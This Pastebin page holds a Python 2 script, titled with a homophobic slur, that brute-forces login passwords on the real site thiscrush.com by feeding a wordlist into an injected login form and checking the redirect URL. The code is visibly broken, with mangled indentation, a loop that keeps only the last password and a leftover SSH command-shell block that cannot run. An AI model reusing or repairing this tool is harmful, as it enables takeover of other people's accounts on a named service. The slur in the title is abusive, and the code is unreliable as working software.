Advertisement
Guest User

for fgts to bf thiscrush. im high hehe

a guest
Aug 1st, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.26 KB | None | 0 0
  1. import argparse
  2. import time
  3. import mechanize
  4. import threading
  5. import itertools
  6. br = mechanize.Browser()
  7. br.set_handle_equiv(True)
  8. br.set_handle_redirect(True)
  9. br.set_handle_referer(True)
  10. br.set_handle_robots(False)
  11. def connect(host, user, password):
  12.     global Found
  13.     Fails = 0
  14.  
  15.     try:
  16.     new_form = '''
  17.     <form method="POST" action="login.php">
  18.     <center>
  19.     <table style="font-size:12px;font-family:Arial;">
  20.     <tbody><tr><td style="font-weight:bold;">Username:</td><td><input name="username" type="text"></td></tr>
  21.     <tr><td style="font-weight:bold;">Password:</td><td><input name="password" type="password"></td></tr>
  22.     <tr><td colspan="2" style="padding-top:10px;"><input name="submit" value="Login" type="submit"></td></tr>
  23.     </tbody></table>
  24.     </center>
  25.     </form>
  26.     '''
  27.     r =br.open("http://thiscrush.com/login.php")
  28.     r.set_data(new_form)
  29.     br.set_response(r)
  30.     br.select_form( nr = 0 )
  31.     br.form['username'] = user
  32.     br.form['password'] = password
  33.     print "Checking: ",br.form['password']
  34.     response=br.submit()
  35.     if response.geturl()==("http://thiscrush.com/~" + user):
  36.         #url to which the page is redirected after login
  37.         print "\n    Password is~ ", password, "\n"
  38.         exit()
  39.     except Exception, e:
  40.     if Fails > 5:
  41.         print "Probs ban"
  42.         exit(0)
  43.     return None
  44.  
  45. def main():
  46.     parser = argparse.ArgumentParser()
  47.  
  48.     #parser.add_argument("host", help="Specify Target Host")
  49.     parser.add_argument("user", help="Specify Target User")
  50.     parser.add_argument("file", help="Specify Password File")
  51.    
  52.     args = parser.parse_args()
  53.  
  54.     if args.user and args.file:
  55.         with open(args.file, 'r') as infile:
  56.             for line in infile:
  57.                 password = line.strip('\r\n')
  58.             #print "SET PASSWORD: "+str(password)
  59.         rand = '111.111.111.111'
  60.         con = connect(rand, args.user, password)
  61.         if con:
  62.             print "[SSH connected, Issue commands (q or Q) To quit]"
  63.             command = raw_input(">")
  64.             while command != 'q' and command != 'Q':
  65.             con.sendline (command)
  66.                     con.prompt()
  67.                     print con.before
  68.             command = raw_input(">")
  69.     else:
  70.         print parser.usage
  71.         exit(0)
  72. #for i in range(5):
  73. #    t = threading.Thread(target=main, args=(i,))
  74. #    t.start()
  75.  
  76. if __name__ == '__main__':
  77.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement